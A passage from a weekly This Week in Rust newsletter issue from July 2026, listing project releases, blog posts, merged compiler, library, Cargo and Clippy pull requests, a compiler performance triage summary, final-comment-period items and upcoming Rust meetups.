<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
